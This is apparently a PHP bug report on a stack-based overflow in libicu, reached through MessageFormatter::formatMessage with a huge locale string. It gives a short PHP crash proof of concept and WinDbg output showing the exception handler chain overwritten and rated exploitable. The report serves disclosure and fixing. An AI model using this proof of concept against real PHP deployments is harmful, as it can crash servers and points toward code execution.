Description: ------------ Big locale string causes stack based overflow inside libicu. PHP could mitigate this issue limiting length of the locale to a valid value. --------------------------------------------------------------------------- Source code: https://github.com/php/php-src/blob/PHP-7.0.10/ext/intl/msgformat/msgformat_format.c#L98 PHP_FUNCTION( msgfmt_format_message ) { zval *args; UChar *spattern = NULL; int spattern_len = 0; char *pattern = NULL; size_t pattern_len = 0; const char *slocale = NULL; size_t slocale_len = 0; MessageFormatter_object mf; MessageFormatter_object *mfo = &mf; /* Parse parameters. */ if( zend_parse_method_parameters( ZEND_NUM_ARGS(), getThis(), "ssa", &slocale, &slocale_len, &pattern, &pattern_len, &args ) == FAILURE ) { intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, "msgfmt_format_message: unable to parse input params", 0 ); RETURN_FALSE; } memset(mfo, 0, sizeof(*mfo)); msgformat_data_init(&mfo->mf_data); if(pattern && pattern_len) { intl_convert_utf8_to_utf16(&spattern, &spattern_len, pattern, pattern_len, &INTL_DATA_ERROR_CODE(mfo)); Test script: --------------- <?php ini_set('memory_limit', -1); $v1 = str_repeat("ABCE", 503566756/3); $v2 = "test"; $v3 = []; MessageFormatter::formatMessage($v1, $v2, $v3); // msgfmt_format_message($v1, $v2, $v3); Expected result: ---------------- no crash Actual result: -------------- Microsoft (R) Windows Debugger Version 6.11.0001.404 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: C:toolsphp7010php.exe -n -dextension=extphp_bz2.dll -dextension=extphp_com_dotnet.dll -dextension=extphp_curl.dll -dextension=extphp_enchant.dll -dextension=extphp_exif.dll -dextension=extphp_fileinfo.dll -dextension=extphp_ftp.dll -dextension=extphp_gd2.dll -dextension=extphp_gettext.dll -dextension=extphp_gmp.dll -dextension=extphp_imap.dll -dextension=extphp_intl.dll -dextension=extphp_ldap.dll -dextension=extphp_mbstring.dll -dextension=extphp_mysqli.dll -dextension=extphp_odbc.dll -dextension=extphp_openssl.dll -dextension=extphp_pdo_mysql.dll -dextension=extphp_pdo_odbc.dll -dextension=extphp_pdo_pgsql.dll -dextension=extphp_pdo_sqlite.dll -dextension=extphp_pgsql.dll -dextension=extphp_phpdbg_webhelper.dll -dextension=extphp_shmop.dll -dextension=extphp_soap.dll -dextension=extphp_sockets.dll -dextension=extphp_sqlite3.dll -dextension=extphp_sysvshm.dll -dextension=extphp_tidy.dll -dextension=extphp_xmlrpc.dll -dextension=extphp_xsl.dll -dextension=extphp_yaml.dll poc.php ... (e5c.d80): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:toolsphp7010icuuc57.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:toolsphp7010icuuc57.dll - Processing initial command 'r;!exploitable -v' icuuc57!icu_57::Locale::Locale+0x27c: 4a85613c 8801 mov byte ptr [ecx],al ds:002b:05360000=00 0:000:x86> r;!exploitable -v eax=0535e545 ebx=00000000 ecx=05360000 edx=10201a74 esi=0535e59d edi=00000000 eip=4a85613c esp=0535e55c ebp=0535e64c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 icuuc57!icu_57::Locale::Locale+0x27c: 4a85613c 8801 mov byte ptr [ecx],al ds:002b:05360000=00 !exploitable 1.6.0.0 HostMachineHostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x5360000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Exception Hash (Major/Minor): 0xbf0ac847.0x9fec2922 Hash Usage : Stack Trace: Major+Minor : icuuc57!icu_57::Locale::Locale+0x27c Major+Minor : Unknown Major+Minor : Unknown Major+Minor : Unknown Major+Minor : Unknown Minor : Unknown Minor : Unknown Minor : Unknown Minor : Unknown Minor : Unknown Minor : Unknown Minor : Unknown Minor : Unknown ... Minor : Unknown Minor : Unknown Minor : Unknown Minor : Unknown Minor : Unknown Instruction Address: 0x000000004a85613c Description: Exception Handler Chain Corrupted Short Description: ExceptionHandlerCorrupted Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at icuuc57!icu_57::Locale::Locale+0x000000000000027c (Hash=0xbf0ac847.0x9fec2922) Corruption of the exception handler chain is considered exploitable 0:000:x86> !exchain 000000000535e640: 0000000043424145 Invalid exception stack at 0000000043424145 // Exception handler overwrote to 'ABCE' 0:000:x86> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0535e64c 43424145 icuuc57!icu_57::Locale::Locale+0x27c 0535e650 43424145 0x43424145 0535e654 43424145 0x43424145 0535e658 43424145 0x43424145 0535e65c 43424145 0x43424145 0535e660 43424145 0x43424145 0535e664 43424145 0x43424145 0535e668 43424145 0x43424145 0535e66c 43424145 0x43424145 0535e670 43424145 0x43424145 0535e674 43424145 0x43424145 0535e678 43424145 0x43424145 0535e67c 43424145 0x43424145 0535e680 43424145 0x43424145 0535e684 43424145 0x43424145 0535e688 43424145 0x43424145 0535e68c 43424145 0x43424145 0535e690 43424145 0x43424145 0535e694 43424145 0x43424145 0535e698 43424145 0x43424145